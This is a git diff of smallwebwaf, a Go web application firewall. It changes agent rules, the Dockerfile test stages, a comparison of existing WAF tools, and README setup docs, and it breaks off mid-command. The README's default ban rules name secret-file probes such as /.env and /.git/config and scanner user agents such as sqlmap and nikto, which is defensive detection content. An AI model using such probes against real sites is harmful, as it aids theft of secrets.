diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..165b0f1 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,42 @@ +# Agents + +These are the rules for agents working on this repository. + +## Branches + +- `main` is the stable branch, and `next` is the development branch. +- Every PR is cut from `next` and targets `next`. +- Only sneak merges `next` into `main`. +- Each issue lands on `next` as one squashed commit whose title ends + ` (closes #N)`. A PR may instead be exactly two commits: first tests that fail + against the current code, then the fix with no test assertion changed. Such a + PR lands as both commits. + +## Entrypoints + +- Work through the `Makefile` targets, which call the scripts in `script/`. The + README's [Entrypoints](README.md#entrypoints) section lists them. +- Never run `go`, `golangci-lint` or prettier directly. +- `make check` passes before every push. + +## Editing + +- Edit files by hand. +- Format only with `make fmt`, and run it before committing any change. + +## Iron rules + +- The request log records query strings exactly as received. + - Secrets belong in POST data. An app that puts a secret in a query string + is fixed in the app. + - Never propose redacting a query string, Gitea's `?token=` included. +- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set. + - The set is: + - `10.0.0.0/8`; + - `172.16.0.0/12`; + - `192.168.0.0/16`. + - `SPEC.md` states that default. + - Forwarded headers count only when the peer is a trusted proxy. +- Every time is in UTC, whatever `TZ` or the host's time zone says. + - Every day is a date written `YYYY-MM-DD`, never a time. + - `SPEC.md` states this near its start. diff --git a/Dockerfile b/Dockerfile index 300708e..e1e469c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -12,7 +12,7 @@ RUN go mod download COPY . . -RUN golangci-lint run --config .golangci.yml ./... +RUN golangci-lint run --config .golangci.yml --build-tags recorded ./... # Test phase, same shape and for the same reason. The go directive in # go.mod is a minimum, so this Go may be newer than the linter's. The @@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml ./... # needs the C compiler it carries. # # golang 1.27.1-trixie, 2026-09-19 -FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup WORKDIR /src @@ -35,13 +35,50 @@ COPY . . RUN go mod tidy -diff || \ { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } +# The two passes below are separate stages so that BuildKit runs them at +# the same time; they share no compiled code, because -race changes every +# package's build. +# # Go's build cache is kept on a tmpfs, out of the image: nothing uses it # after this step, and writing it into the image takes seconds. The tests # are built with the no_fs_access tag, as the binary is in the build stage. +# +# The race detector finds bugs only in code that runs in several goroutines +# at once. Of the Core Rule Set's tests, this pass runs only those written +# to check concurrent inspection, whose names start with TestConcurrent. +# The second pass runs the rest. +FROM test-setup AS test-race + RUN --mount=type=tmpfs,target=/root/.cache/go-build \ - go test -tags no_fs_access -timeout 90s -race -cover ./... || \ + others="$(go list ./... | grep -vxF sneak.berlin/go/smallwebwaf/internal/coreruleset)"; \ + { go test -tags no_fs_access -timeout 90s -race -cover $others && \ + go test -tags no_fs_access -timeout 90s -race -cover \ + -run '^TestConcurrent' ./internal/coreruleset; } || \ { echo "--- Rerunning with -v for details ---"; \ - go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; } + go test -tags no_fs_access -timeout 90s -race -v $others; \ + go test -tags no_fs_access -timeout 90s -race -v \ + -run '^TestConcurrent' ./internal/coreruleset; \ + exit 1; } + +# Second pass: every other test of the Core Rule Set, the recorded requests +# among them, without the race detector. +FROM test-setup AS test-recorded + +RUN --mount=type=tmpfs,target=/root/.cache/go-build \ + go test -tags no_fs_access,recorded -timeout 90s -cover \ + -skip '^TestConcurrent' ./internal/coreruleset || \ + { echo "--- Rerunning with -v for details ---"; \ + go test -tags no_fs_access,recorded -timeout 90s -v \ + -skip '^TestConcurrent' ./internal/coreruleset; \ + exit 1; } + +# The test phase that script/test and the build stage name. Nothing is +# wanted from the two passes; the copies are what make BuildKit run them. +# It holds nothing else, so script/test's image takes no time to write. +FROM scratch AS test + +COPY --from=test-race /src/go.sum /src/go.sum +COPY --from=test-recorded /src/go.sum /src/go.sum # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it # writes pass the test phase's check. Nothing else depends on it, so only @@ -87,7 +124,7 @@ COPY . . # .git present, a version that is still empty, dev or unknown fails the # build: git is missing or could not read the checkout. The no_fs_access # tag keeps Coraza from writing the files of a multipart body to the -# system's temporary directory, since smallwebwaf writes only to its state +# system's temporary directory, since sww writes only to its state # directory. ARG VERSION RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ @@ -99,7 +136,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ fi; \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \ -ldflags="-s -w -X main.Version=${VERSION}" \ - -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf + -o /usr/local/bin/sww ./cmd/sww # runsvinit, the image's entrypoint, built at the last commit of its # archived repository. It has no go.mod, and `go build` of its directory @@ -118,12 +155,26 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \ -o /usr/local/bin/runsvinit . # The image, described under "Deployment" in SPEC.md. It runs rproxy unless -# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it. +# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it. # It is the last stage, so a plain `docker build .` builds it. # # ubuntu 26.04, 2026-09-27 FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7 +# The image's own labels, in place of the ones it would inherit from +# Ubuntu's. script/docker and script/cibuild pass the build arguments; +# a build that passes none labels the image unknown rather than leave +# Ubuntu's values. +ARG VERSION=unknown +ARG CREATED=unknown +ARG REVISION=unknown +LABEL org.opencontainers.image.title="smallwebwaf" \ + org.opencontainers.image.description="A web application firewall for self-hosted web apps: sww rproxy in front of an app, and sww waf, which decides." \ + org.opencontainers.image.version="${VERSION}" \ + org.opencontainers.image.created="${CREATED}" \ + org.opencontainers.image.revision="${REVISION}" \ + org.opencontainers.image.source="https://git.eeqj.de/sneak/smallwebwaf" + # runit's install creates its _runit-log user with minsysusers, which # reads this file in place of runit's /usr/lib/sysusers.d/runit.conf. # runit's line leaves out the shell, and minsysusers prints a Perl @@ -136,10 +187,19 @@ RUN mkdir /etc/sysusers.d \ # ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches # them over plain HTTP and checks each one against the archive's signed # package lists, so no CA certificates are needed. -RUN apt-get update \ +# +# nix-bin depends on xz-utils, whose install links man pages with +# update-alternatives. The image's dpkg config drops man pages, so each +# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes +# the man1 pages for this install alone; the same step deletes them again, +# so no man page or package is added. +RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \ + && apt-get update \ && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ ca-certificates nix-bin runit \ - && rm -rf /var/lib/apt/lists/* + && rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \ + && find /usr/share/man/man1 ! -type d -delete \ + && find /etc/alternatives -type l -xtype l -delete # Nix run by root expects a group of build users, which nix-bin does not # create; with the setting empty, root's builds run without them. @@ -166,27 +226,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \ ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit -COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf +COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww # 65532 is above the uids Ubuntu keeps for system users, which end at # 999; useradd warns about it unless --key raises that end for this call. -RUN groupadd --system --gid 65532 smallwebwaf \ +RUN groupadd --system --gid 65532 sww \ && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \ - --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ - smallwebwaf + --gid sww --no-create-home --shell /usr/sbin/nologin \ + sww -# The state files' directory, SWWAF_STATE_DIR by default, where a volume -# is mounted to keep them across deploys. The run script gives it to the -# smallwebwaf user at each start of servewaf. -RUN mkdir /var/lib/smallwebwaf +# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume +# is mounted to keep them across deploys. At each start of waf, the run +# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user. +RUN mkdir /var/lib/sww -# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile +# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile # built FROM this image can copy rule files of its own beside it. -COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules +COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # looks too. -COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run +COPY --chmod=755 share/sww.run /etc/service/sww/run EXPOSE 8080 @@ -194,6 +254,6 @@ EXPOSE 8080 # check runs every second from the start until it first passes, for up # to a minute, and every 30 seconds after that. HEALTHCHECK --start-period=1m --start-interval=1s \ - CMD ["/usr/local/bin/smallwebwaf", "healthcheck"] + CMD ["/usr/local/bin/sww", "healthcheck"] ENTRYPOINT ["/usr/local/bin/runsvinit"] diff --git a/EVALUATION.md b/EVALUATION.md index 4ea3fc9..c3c16d3 100644 --- a/EVALUATION.md +++ b/EVALUATION.md @@ -12,8 +12,8 @@ configured only by environment variables, that provides: - R1: rate limits per minute, per hour and per day - R2: netblocks that bypass rate limiting - R3: alerts on attacks through webhook, Slack or ntfy -- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs - or netblocks, crossing a threshold +- R4: alerts on anomalies: requests made or bytes transferred per minute or + hour, for given IPs or netblocks, crossing a threshold - R5: temporary blocks for abusers, permanent bans for repeat offenders - R6: one or more RBLs or IP reputation APIs - R7: AS number lookup @@ -24,14 +24,19 @@ configured only by environment variables, that provides: ## Verdict -Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS -number or country) or the bytes half of R4 at all, and the tools that come -closest on the rest fail R10: they need several containers, YAML or a web UI. -The recommendation is to build a small single-binary sidecar; `SPEC.md` in this -directory begins that spec. It reuses the mature parts of the surveyed field as -libraries and data sources (Coraza and the OWASP Core Rule Set for attack -detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of -reimplementing them. +Nothing existing is suitable. No surveyed tool meets R8, which asks for limits +scaled by AS number or country. None meets R4's alerts on bytes transferred. The +tools that come closest on the rest fail R10: they need several containers, YAML +or a web UI. The recommendation is to build a small single-binary sidecar; +`SPEC.md` in this directory begins that spec. + +The sidecar reuses the mature parts of the surveyed field instead of +reimplementing them. It takes these as libraries and data sources: + +- Coraza and the OWASP Core Rule Set, for attack detection +- DNSBLs +- AbuseIPDB +- optionally, a CrowdSec decision feed Closest existing options, and why each still falls short: @@ -45,13 +50,16 @@ Closest existing options, and why each still falls short: external blacklist URLs, optional CrowdSec), R7 partly (AS number used for blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule Set, or Coraza plugin), env-var settings. - - Fails: R8 (AS number and country can only allow or deny, never scale a - limit), R4 (no volume or byte threshold alerts in the free edition; - reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6 - it needs a `bunkerweb` container plus a `bw-scheduler` container and a - database, or the all-in-one image that bundles nginx, scheduler, UI and - Redis in one container. It is designed to be the front door for many - sites, not a per-app sidecar. AGPL-3.0. + - Fails: + - R8: AS number and country can only allow or deny, never scale a limit. + - R4: no alerts on request-count or byte thresholds in the free edition; + reporting is a paid feature. + - R5: no escalation for repeat offenders. + - R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb` + container, a `bw-scheduler` container and a database, or the + all-in-one image that bundles nginx, the scheduler, the UI and Redis. + - It is designed as the proxy in front of many sites, not as a sidecar for + one app. AGPL-3.0. - Unverified: whether several rates (minute, hour, day) can be stacked on the same URL pattern; the documented design is one rate per URL pattern. - CrowdSec is the strongest detection and ban engine, but it is not a proxy. @@ -66,16 +74,20 @@ Closest existing options, and why each still falls short: listed AS numbers is possible, but each is a hand-written YAML scenario, it reacts after the fact by banning, and it is not an inline limiter that answers 429. - - Fails: R10 (needs the security engine container with persistent state, log - acquisition from traefik, a bouncer such as the traefik plugin, and YAML - for acquisition, profiles, scenarios and notifications), bytes half of R4. + - Fails: + - R10, because it needs: + - the security engine container with persistent state + - log acquisition from traefik + - a bouncer such as the traefik plugin + - YAML for acquisition, profiles, scenarios and notifications + - R4's alerts on bytes. - CrowdSec plus traefik's own `rateLimit` middleware is the best combination with no new code. It gives inline limiting (one window per middleware, keyed by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and - reputation. It still fails R8, the bytes half of R4, R1's three stacked - windows only by chaining three middlewares per router, and R10 entirely: the - configuration lives in traefik labels and CrowdSec YAML on each host, not in - one sidecar's environment. + reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely: + the configuration lives in traefik labels and CrowdSec YAML on each host, not + in one sidecar's environment. It meets R1's three windows only by chaining + three middlewares per router. ## Candidate by candidate @@ -87,10 +99,10 @@ Closest existing options, and why each still falls short: cached, streamed decision list (recommended), standalone against the central API, or AppSec only. Supports captcha remediation. - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict). - - Misses: the plugin itself does no rate limiting; R8; R4 bytes. + - Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes. - Configuration: traefik static config to load the plugin, dynamic config or labels for the middleware, CrowdSec YAML for everything else. - - Sidecar fit: no. It lives inside traefik, plus a separate engine + - Sidecar fit: no. It runs inside traefik and needs a separate engine container. - Maturity: widely used (about 900 stars, listed in the traefik plugin catalog, documented by CrowdSec itself), actively maintained. Traefik @@ -115,7 +127,7 @@ Closest existing options, and why each still falls short: - What it is: nginx-derived (Tengine) reverse proxy with a proprietary semantic detection engine and a web console. About 22,000 stars. - Covers: R9 well, basic per-IP rate limiting with block duration, bot - challenge, authentication gate. + challenge, authentication in front of the app. - Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert messages, syslog forwarding and the better reputation database are paid (Lite about 10 USD per month, Pro about 100 USD per month); the free @@ -128,7 +140,7 @@ Closest existing options, and why each still falls short: - Coraza (`corazawaf/coraza`) and Coraza-based proxies - What it is: a Go library that implements the ModSecurity rule language and runs the OWASP Core Rule Set. OWASP project, actively maintained, the - successor path now that ModSecurity is in maintenance only. + successor to ModSecurity, which is now in maintenance only. - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy), `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set, @@ -142,7 +154,7 @@ Closest existing options, and why each still falls short: - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`) - What it is: official images of Apache or nginx with ModSecurity and the Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`, - paranoia level, anomaly thresholds, many more). Current images carry + paranoia level, anomaly thresholds, many more). Current images contain ModSecurity 2.9.x on Apache and Core Rule Set 4.x. - Covers: R9, and R10 (single container, env vars, one backend). - Misses: R1 to R8. @@ -152,16 +164,16 @@ Closest existing options, and why each still falls short: - Anubis (`TecharoHQ/anubis`), 1.27 current - What it is: a single-binary reverse proxy that makes browsers solve a proof-of-work challenge before passing them to `TARGET`. Aimed at - scrapers, which is likely a large share of unwanted traffic on a public - gitea. + scrapers, which are likely a large share of the unwanted traffic on a + public code forge. - Covers: R10 well (one container, env vars for listener, target, difficulty, cookies). Policy rules can match on path, user agent, headers, IP ranges, and with the vendor's hosted data service also AS number and country, and can weigh a request toward a harder challenge. - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env vars. AS number and country matching depend on the vendor's hosted - service. Breaks non-browser clients unless paths are exempted; for gitea, - git-over-HTTP and API paths must be allowed through by rule. + service. Breaks non-browser clients unless paths are exempted; for a code + forge, git-over-HTTP and API paths must be allowed through by rule. - Maturity: very active, widely deployed on code forges since 2025. - Value here: complementary. It can be chained (traefik, then the sidecar, then Anubis, then the app) if challenge pages are wanted. @@ -180,13 +192,13 @@ Closest existing options, and why each still falls short: temporary ban, no escalation, state lost on traefik restart) and R2 (allowlist). Nothing else. - `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock - plugins (country allow or deny through an external lookup API): same - shape, each one small feature, configured in traefik, state in memory. + plugins (country allow or deny through an external lookup API): each adds + one small feature, is configured in traefik and keeps its state in memory. - Sidecar fit: no; they live inside traefik. - Traefik built-in middlewares - `rateLimit` (one average-and-burst window per middleware, optional Redis in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation - or AS number awareness. + lookups or AS number lookups. - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x - What it is: a Caddy module with regex rules and anomaly scoring, per-IP and per-path rate limiting with one configurable window, IP and DNS @@ -198,12 +210,12 @@ Closest existing options, and why each still falls short: - open-appsec (Check Point) - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with a declarative policy file or the vendor's cloud console. Covers R9 only; - rate limiting and richer features are in paid tiers. Not a sidecar in the - required sense. + rate limiting and richer features are in paid tiers. It attaches to an + existing proxy, so it is not the sidecar R10 asks for. - iocaine - Serves generated garbage pages to clients the fronting proxy classifies as - scrapers. Not a limiter, WAF or ban tool; out of scope except as a - curiosity for scraper traffic. + scrapers. Not a limiter, WAF or ban tool; out of scope, and only of + passing interest for scraper traffic. - Pangolin - A tunnelled access platform that bundles traefik and optionally CrowdSec. Replaces the ingress rather than adding a sidecar; out of scope. @@ -214,17 +226,17 @@ Closest existing options, and why each still falls short: Everyone else offers one window per rule or none. - R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins. - R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid). -- R4 volume and byte anomalies: none. CrowdSec can approximate request-count - anomalies with a custom scenario; nothing handles bytes. -- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent, - not both by history. +- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts + on request counts with a custom scenario; no surveyed tool alerts on bytes. +- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one + fixed length or permanent, and does not change with a client's history. - R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists). - R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or deny), Anubis (hosted service). - R8 biased thresholds: none. - R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open, - standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the - first). + standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza + or ModSecurity). - R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis. None of these covers anything beyond its one job. diff --git a/Makefile b/Makefile index d23221e..b99e841 100644 --- a/Makefile +++ b/Makefile @@ -1,13 +1,12 @@ -.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ - run example-app gitea-requests gitea-setup +.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \ + hooks build run example-app # Makefile targets are thin shims; the implementations live in script/ # per the scripts-to-rule-them-all pattern (see the Entrypoints section # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, # which test checks. build and run are for working on the code by hand; -# example-app checks the image with an app built on it; gitea-requests -# reports the gitea requests the Core Rule Set refuses at the defaults; -# gitea-setup checks the setup in deploy/gitea. +# example-app checks the image with an app built on it; publish builds +# the image on the Docker host and pushes it to the registry. bootstrap: @script/bootstrap @@ -36,6 +35,9 @@ check: docker: @script/docker +publish: + @script/publish + hooks: @script/install-precommit @@ -47,9 +49,3 @@ run: example-app: @script/example-app - -gitea-requests: - @script/gitea-requests - -gitea-setup: - @script/gitea-setup diff --git a/README.md b/README.md index bf6cdb6..c947ac5 100644 --- a/README.md +++ b/README.md @@ -2,34 +2,66 @@ `smallwebwaf` is an MIT-licensed web application firewall, written in Go by [@sneak](https://sneak.berlin), for self-hosted web apps. It refuses the -requests of scrapers, scanners and other abusers before they reach an app. +requests of misbehaving scrapers, scanners and other abusers before they reach +an app. + +With the default settings, a client is banned when it does any of these: + +- makes more than 120 requests in a minute, 1500 in an hour or 6000 in a day; +- moves more than `50G` of request and response bodies in an hour, or `100G` in + a day; +- asks for a secret or backup file, such as `/.env` or `/.git/config`; +- sends a user agent that names a security scanner, such as `sqlmap` or `nikto`; +- has more than 30 requests in a minute refused as probes or attacks. + +A scraper that does none of these is left alone. A scraper that waits 15 seconds +between requests stays under the rate limits. ## What it does A web application firewall reads each request on its way to a web app and -refuses the ones that look like abuse. `smallwebwaf` is one binary, shipped in -one image, with two commands that do this together: +refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`, +shipped in one image, with two commands that do this together: -- `smallwebwaf rproxy` is a small reverse proxy in front of one app. traefik - routes to it. It asks `servewaf` about each request, passes the allowed ones - to the app, and passes the app's answers back. It keeps nothing and never - touches disk. -- `smallwebwaf servewaf` decides. It runs the checks and keeps the bans, the - counters and each client's history. One `servewaf` serves many sites: a client - banned through one site is refused on all of them, and its requests on all of - them count toward one set of limits. +- `sww rproxy` is a small reverse proxy in front of one app. It sits behind a + TLS-terminating proxy, such as traefik, nginx or Caddy. It asks `waf` about + each request, passes the allowed ones to the app, and passes the app's answers + back. It writes nothing to disk. +- `sww waf` decides. It runs the checks and keeps the bans, the counters and + each client's history. One `waf` serves many sites: a client banned through + one site is refused on all of them, and its requests on all of them count + toward one set of limits. -The site keeps answering while `servewaf` is down, slow or restarting: without -an answer in time, `rproxy` passes the request to the app. +The site keeps answering while `waf` is down, slow or restarting: without an +answer in time, `rproxy` passes the request to the app. -It protects against: +`rproxy` also protects the app on its own, whether or not `waf` answers. With +the default settings, `rproxy`: + +- answers `400` to a malformed request, such as a broken header line or a + missing `Host`; +- answers `405` to a method it does not pass on, such as `TRACE`; +- answers `431` to a request line and headers over 32 KiB together; +- gives the visitor 60 seconds to send the request line and headers, and then 60 + seconds more for the whole request to reach the app; +- answers `413` to a request body over 100 MiB; +- gives the app's answer 30 minutes to reach the visitor, counted from the end + of the request; +- answers `502` in place of an app's answer whose body is over 1 GiB, or cuts it + off if it has started; +- closes a kept-open connection after 120 seconds idle. + +`rproxy` does not limit the number of headers. `waf` limits the number of +headers and cookies, and the length of the request line and of each header line. + +Together, `rproxy` and `waf` protect against: - Scrapers that fetch every page of a site, all day. Each client gets a limit on - requests and on bytes per minute, per hour and per day. The defaults leave - room for a person reading a site for hours. They catch a scraper that keeps up - one request every 2 seconds. A client over a limit is refused and banned: for - a while at first, for three times as long at each repeat, and permanently when - it keeps at it. + requests and on body bytes per minute, per hour and per day. The defaults + leave room for a person reading a site for hours. They catch a scraper that + keeps up one request every 2 seconds. A client that breaks a limit is banned: + for a while at first, for three times as long at each repeat, and permanently + when it keeps at it. - Scanners that probe for secrets, such as `/.env` or `/.git/config`. The default rule file bans such a client at its first probe, and its next request during the ban makes the ban permanent. Your own rules, or a list of trap @@ -43,10 +75,7 @@ It protects against: - give the clients of chosen networks and countries a fraction of every limit, so that they are banned sooner; - refuse or limit clients on a blocklist, a DNS blocklist, or with a high - AbuseIPDB score; - - ban clients named by your own CrowdSec engine. -- Slow and oversized requests. Every request and every answer has a time limit - and a size limit. + AbuseIPDB score. For the operator, it: @@ -58,8 +87,7 @@ For the operator, it: Not built, and not planned: -- TLS and routing by host name. Both stay with traefik, the reverse proxy in - front of `rproxy`. +- TLS and routing by host name. Both stay with the TLS-terminating proxy. - Browser challenges such as captchas. - A web console, or a configuration file. - Defence against floods large enough to fill the host's network link. @@ -68,8 +96,9 @@ Not built, and not planned: ### The image -No image is published. Build it from a clone. `make docker` runs the tests and -the linter, then builds the image, tagged `smallwebwaf`. +The image is published at `git.eeqj.de/sneak/smallwebwaf`. You can also build it +from a clone. `make docker` runs the tests and the linter, then builds the +image, tagged `smallwebwaf`. ```sh git clone https://git.eeqj.de/sneak/smallwebwaf.git @@ -79,42 +108,84 @@ make docker Push the image to a registry your hosts pull from, and name it there by digest. -The image runs `rproxy` by default. To run `servewaf` from the same image, set -the container's `SMALLWEBWAF_COMMAND` to `servewaf`. The image's health check -follows the command: in `rproxy`'s container it passes once `rproxy` answers and -the app accepts connections, whether or not `servewaf` answers; in `servewaf`'s -container, once `servewaf` answers. +The image runs `rproxy` by default. To run `waf` from the same image, set the +container's `SWW_COMMAND` to `waf`. The image's health check follows the +command: in `rproxy`'s container it passes once `rproxy` answers and the app +accepts connections, whether or not `waf` answers; in `waf`'s container, once +`waf` answers. ### The usual setup: three containers The usual setup is three containers on one private network: - the app; -- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND` - names `servewaf` and `SWRP_UPSTREAM_URL` names the app; -- `servewaf`, with `SMALLWEBWAF_COMMAND=servewaf` and a volume at - `/var/lib/smallwebwaf` for its state files. +- `rproxy`, in front of the app, which the TLS-terminating proxy forwards to: + `SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the + app; +- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state + files. -Point traefik's labels at port 8080 of `rproxy` -(`traefik.http.services..loadbalancer.server.port=8080`). Publish no port -of the app or of `servewaf`. Anything on that network can reach the app around -`rproxy`, and can ask `servewaf` questions, so the network holds only what you -trust. Each further app adds its own container and its own `rproxy`, whose -`SWRP_WAF_BACKEND` names the same `servewaf`. The "Smallest setup" and "In front -of gitea" examples below show this shape. +Publish no port of the app or of `waf`. Anything on that network can reach the +app around `rproxy`, and can ask `waf` questions, so the network holds only what +you trust. Each further app adds its own container and its own `rproxy`, whose +`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example +below shows this shape. + +### The TLS-terminating proxy + +`rproxy` serves plain HTTP. It runs behind any TLS-terminating proxy, such as +traefik, nginx or Caddy. The TLS-terminating proxy must: + +- forward each request to port 8080 of `rproxy` over plain HTTP; +- keep the visitor's `Host` header; +- add the visitor's address to `X-Forwarded-For`; +- set `X-Forwarded-Proto` to the scheme the visitor used; +- close an unused connection to `rproxy` in under 120 seconds; +- connect to `rproxy` from an address in `SWW_RPROXY_TRUSTED_PROXIES`, by + default `10.0.0.0/8`, `172.16.0.0/12` or `192.168.0.0/16`. + +From any other address, `rproxy` ignores the forwarded headers and takes the +TLS-terminating proxy for the visitor. Every visitor then shares one address, +and one ban. + +traefik and Caddy keep the `Host` header and set both forwarded headers by +default. traefik's Docker label +`traefik.http.services..loadbalancer.server.port=8080` names the port. +Caddy keeps an unused connection for 120 seconds by default, so its site +shortens that to 90 seconds: + +```caddyfile +reverse_proxy rproxy:8080 { + transport http { + keepalive 90s + } +} +``` + +By default nginx sends the host in `proxy_pass` as `Host` and sets neither +forwarded header, so its site sets all three: + +```nginx +location / { + proxy_pass http://rproxy:8080; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; +} +``` ### `rproxy` in the app's container An app's image can instead be built on the `smallwebwaf` image, so that `rproxy` -runs beside the app in one container. `servewaf` still runs in a container of -its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by +runs beside the app in one container. `waf` still runs in a container of its +own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by digest, and adds: - the app's binary; - the packages the app needs, from the nixpkgs in the image; - a user for the app; - a `run` script that starts the app listening on `127.0.0.1:8081`, the default - of `SWRP_UPSTREAM_URL`. + of `SWW_RPROXY_UPSTREAM_URL`. ```dockerfile # The smallwebwaf image, pinned by digest. @@ -150,16 +221,16 @@ main "$@" Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own entrypoint starts `rproxy` and the app side by side, each as its own user. Run -the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an -app, and the "`rproxy` beside the app" example below runs one. +the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such +an app, and the "`rproxy` beside the app" example below runs one. -The app sees the headers traefik sent, with traefik's address added to -`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust -`rproxy`'s address for forwarded headers. In a container of its own, `rproxy` is -on the private network, which the usual default of a trusted-proxy setting -covers. Beside the app, its address is `127.0.0.1` or `::1`, which the private -ranges leave out, so the app's own setting must name them too, as `app.run` -does. +The app's TCP peer is `rproxy`. The app sees the headers the TLS-terminating +proxy sent, with that proxy's address added to `X-Forwarded-For`. So the app +must trust `rproxy`'s address for forwarded headers. In a container of its own, +`rproxy` is on the private network, which the usual default of a trusted-proxy +setting covers. Beside the app, its address is `127.0.0.1` or `::1`, which the +private ranges leave out, so the app's own setting must name them too, as +`app.run` does. ### Checking that it works @@ -167,34 +238,34 @@ does. `healthy` for each container of `smallwebwaf`. - A log line with `"msg":"starting"` gives the version, the address and every setting in effect, with secrets masked. -- A request to the site through traefik gets the app's answer. - `https:///_smallwebwaf/healthz` answers `ok`. `servewaf`'s log lines - about the request have `"action":"forward"`. -- To see a refusal without banning yourself, run `servewaf` with - `SWWAF_MODE=observe` and ask for `/.env`. The request reaches the app. - `servewaf`'s log lines have `"would_action":"banned"` and +- A request to the site through the TLS-terminating proxy gets the app's answer. + `https:///_sww/healthz` answers `ok`. `waf`'s log lines about the + request have `"action":"forward"`. +- To see a refusal without banning yourself, run `waf` with + `SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app. + `waf`'s log lines have `"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as "Clients and bans" below describes. -- With `SWWAF_METRICS_TOKEN` set, this answers with the metrics, from a host on - `servewaf`'s network: - `curl -H "Authorization: Bearer $TOKEN" 